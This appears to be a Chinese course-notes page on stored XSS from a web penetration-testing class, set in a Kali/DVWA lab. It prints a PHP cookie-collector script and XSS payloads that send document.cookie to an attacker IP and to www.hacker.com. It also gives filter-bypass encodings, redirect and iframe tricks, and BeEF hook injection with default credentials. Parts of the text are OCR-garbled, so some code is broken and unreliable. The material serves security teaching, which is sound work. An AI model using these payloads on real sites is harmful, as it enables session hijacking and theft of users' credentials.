XSS 跨站脚本攻击_3 | 学习笔记

简介: 快速学习 XSS 跨站脚本攻击_3

开发者学堂课程【网络安全攻防 - Web渗透测试XSS 跨站脚本攻击_3】学习笔记,与课程紧密联系,让用户快速学习知识。

课程地址:https://developer.aliyun.com/learning/course/630/detail/9913


XSS 跨站脚本攻击_2


内容介绍

一、  存储型 XSS

二、  构造 XSS 脚本

三、  自动化 XSS


一、  存储型 XSS

存储型 XSS(持久型 XSS)即攻击者将带有 XSS 攻击的链接放在网页的某个页面,例如评论框等;用户访问此 XSS 链接并执行,由于存储型 XS5 能够攻击所有访问此页面的用户,所以危害非常

image.png

1.  手工【低】

1)  攻击1 弹框告警:渗透机 kali Linux 端操作

text1

alert(‘yangge')

2)  攻击2 获取 cookie:渗透机 Kali Linux 端操作

a)  构建收集 cookie 服务器

b)  构造 XSS 代码并植入到 Web 服务器

c)  等待肉鸡触发 XSS 代码并将 cookie 发送到 Kali

d)  Cookie 利用

image.png

3) root@kali:~#[vim /var/www/html/cookie_rec.php

$cookie = $_GET['cookie'];

$log一fopen(cookie.txt","a")

fwrite($log, $cookle "\n");

fclose($log);

?>

root@kali:# chown -R www-data.www-data /var/www/

2. 通过渗透机植入 XSS 代码:  

(script>window.open('http://192.168.106

14d/cookierec.php?cookle-"+document.cookle)

注:192.168.106.140 为 kali Linux IP

注:先清除之前植入的 XS5代码

image.png


二、构造 XSS 脚本

1. 弹框警告

此脚本实现弹框提示,一般作为漏洞测试或者演示使用,类似 SQL 注入漏洞测试中的单引号‘,一旦此新本能执行,也就拿味着后端服务器没有对特殊字符做过滤<>/”这样就可以证明,这个页面位置存在了XSS漏洞。

alert('xss')

alert(document.cookie)

2.   页面嵌套

<iframe src=http://ww.baidu.com width=300 height=300></iframe>

<iframe src=http://ww.baidu.com width=0 height=0 border=0></iframe>

3. 页面重定向

window.location="http://www.qfedu.com"

location.href="http://www.baidu.com"

4. 弹框警告并重定向  

alert("请移步到我们的新站”);location.hre

/www.qfedu.com"

alert('xss');location.href="http://1e 35/mutillidae/robots.txt"

这里结合了一些社工的思路,例如,通过网站内部私信的方式将其发给其他用户。如果其他用户点击并且相信了这个信息,则可能在另外的站点重新登录账户 (克隆网站收集账户)

5. 访问恶意代码

s/script> #结合 BeEF 收集用户的 cookie

6. 巧用图片标签

< img src="#”onerror=alert('xss')>

< img src="http://BeEF_IP:3000/hook.js">

7. 绕开过滤的脚本

大小写<ScrIpt>alert('xss')</SCRipt>

字符编码 采用 URL、Base64等编码

<ahref=”&#166;&#97;&#118;&#97;8#115;&#99&#114;8#105&#112;&#116&#58;&#97;8#108&#1018#114;8#116;8#40;&#34;&#120;&#115;&#115;&#34;&#41;">yangge</a>

8. 收集用户 cookie

打开新窗口并且采用本地 cookie 访问目标网页,打开新窗口并且采用本地 cookie 访问目标网页。

<script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script><script>document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie</script>

<script>new Image().src="http://www.hacker.com/cookie.php?cookie-"+document.cookie;</script>

<img src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></img>

<iframe src="http://www.hacker.com/cookie.php?cookie-'+document.cookie"></iframe>

<script>new Image().src="http://www.hacker.com/cookie.php?cookie=adocument ing.width = 0;

img.height =0;

</script>


三、自动化 XSS

1. Browser Exploitation Framework (BeEF)

BeEF 是目前最强大的浏览器开源渗透测试框架,通过 XSS 漏洞配合 JS 脚本和 Metasploit 进行渗透;

BeEF 是基于 Ruby 语言编写的,并且支持图形化界面,操作简单;

http://beefproject.com/

1) 信息收集:

1.网络发现

2.主机信息

3. Cookie 获取

4.会话劫持

5.键盘记录

6.插件信息

2) 持久化控制:

1. 确认弹框

2. 小窗口

3.中间人

3) 社会工程

1. 点击劫持

2. 弹窗告警

3. 虚假页面

4. 钓鱼页面

4) 渗透攻击:

1.内网渗透

2. Metasploit

3.CSRF 攻击

4. DDOS 攻击

2. BeEF 基础

1) 启动 Apache 和 BeEF:

root@kali:~# service apache2 start

<script src="http://192.168.106.140:3000/hook.js"x/script>

注:192.168.106.140为BeEF所在机器,即Kali Linux IP

2) 登录 BeEF:

username:beef

password:beef

image.png

渗透机将脚本放在 DWVA 靶机中:

<script src="http://192.168.106.140:3000/hook.js">x/scr

注:192.168.106.140BeEF 所在机器,即 Kali Linux,IP

注:需修改字符数的限制,例如为200

1.   信息收集

命令颜色(Color)

绿色对目标主机生效并且不可见(不会被发现)

橙色对目标主机生效但可能可见(可能被发现)

灰色对目标主机未必生效(可验证下)

红色对目标主机不生效

Get Cookie  获取信息

Get From Cookie  获取值

Get Page HREFs  获取页面链接

Get Page HTML  获取页面 HTML

Replace HREFs  替换页面连接

Replace HREFsClick Events

该模块将使用 Bilawal Hameed 更新点击事件处理来重写所有匹配链接的所有 href 属性,这将隐藏所有更新链接的目标站点。

Replace HREFsHTTPS

此模块将重写 HTTPS 链接的所有 href 属性以使用 HTTPS,不会重写相对于 web 根目录的链接。

Replace HREFsTEL

该模块重写 HTTPS 链接的所有电话链接的 href 属性。

相关文章
|
4天前
|
JavaScript 安全 前端开发
同源策略如何防止 XSS 攻击?
【10月更文挑战第31天】同源策略通过对 DOM 访问、Cookie 访问、脚本执行环境和跨源网络请求等多方面的严格限制,构建了一道坚实的安全防线,有效地防止了 XSS 攻击,保护了用户在网络浏览过程中的数据安全和隐私。
68 49
|
9天前
|
安全 前端开发 Java
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第26天】Web安全是现代软件开发的重要领域,本文深入探讨了XSS和CSRF两种常见攻击的原理及防御策略。针对XSS,介绍了输入验证与转义、使用CSP、WAF、HTTP-only Cookie和代码审查等方法。对于CSRF,提出了启用CSRF保护、设置CSRF Token、使用HTTPS、二次验证和用户教育等措施。通过这些策略,开发者可以构建更安全的Web应用。
37 4
|
9天前
|
安全 Go PHP
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第27天】本文深入解析了Web安全中的XSS和CSRF攻击防御策略。针对XSS,介绍了输入验证与净化、内容安全策略(CSP)和HTTP头部安全配置;针对CSRF,提出了使用CSRF令牌、验证HTTP请求头、限制同源策略和双重提交Cookie等方法,帮助开发者有效保护网站和用户数据安全。
32 2
|
4天前
|
SQL 存储 安全
什么是XSS攻击?什么是SQL注入攻击?什么是CSRF攻击?
理解并防范XSS、SQL注入和CSRF攻击是Web应用安全的基础。通过采用严格的输入验证、使用安全编码实践以及实现适当的身份验证和授权机制,可以有效防止这些常见的Web攻击,保障应用程序和用户的数据安全。
11 0
|
4月前
|
存储 安全 JavaScript
手摸手带你进行XSS攻击与防御
当谈到网络安全和信息安全时,跨站脚本攻击(XSS)是一个不可忽视的威胁。现在大家使用邮箱进行用户认证比较多,如果黑客利用XSS攻陷了用户的邮箱,拿到了cookie那么就可以冒充你进行收发邮件,那真就太可怕了,通过邮箱验证进行其他各种网站的登录与高危操作。 那么今天,本文将带大家深入了解XSS攻击与对应的防御措施。
|
11天前
|
存储 安全 Go
Web安全基础:防范XSS与CSRF攻击的方法
【10月更文挑战第25天】Web安全是互联网应用开发中的重要环节。本文通过具体案例分析了跨站脚本攻击(XSS)和跨站请求伪造(CSRF)的原理及防范方法,包括服务器端数据过滤、使用Content Security Policy (CSP)、添加CSRF令牌等措施,帮助开发者构建更安全的Web应用。
45 3
|
2月前
|
存储 安全 JavaScript
XSS跨站脚本攻击详解(包括攻击方式和防御方式)
这篇文章详细解释了XSS跨站脚本攻击的概念、原理、特点、类型,并提供了攻击方式和防御方法。
242 1
|
1月前
|
存储 JavaScript 安全
|
1月前
|
存储 JavaScript 前端开发
Xss跨站脚本攻击(Cross Site Script)
Xss跨站脚本攻击(Cross Site Script)
|
4月前
|
SQL 安全 数据库
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
【7月更文挑战第26天】在 Python Web 开发中, 安全性至关重要。本文聚焦 SQL 注入、XSS 和 CSRF 这三大安全威胁,提供实战防御策略。SQL 注入可通过参数化查询和 ORM 框架来防范;XSS 则需 HTML 转义用户输入与实施 CSP;CSRF 防御依赖 CSRF 令牌和双重提交 Cookie。掌握这些技巧,能有效加固 Web 应用的安全防线。安全是持续的过程,需贯穿开发始终。
88 1
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!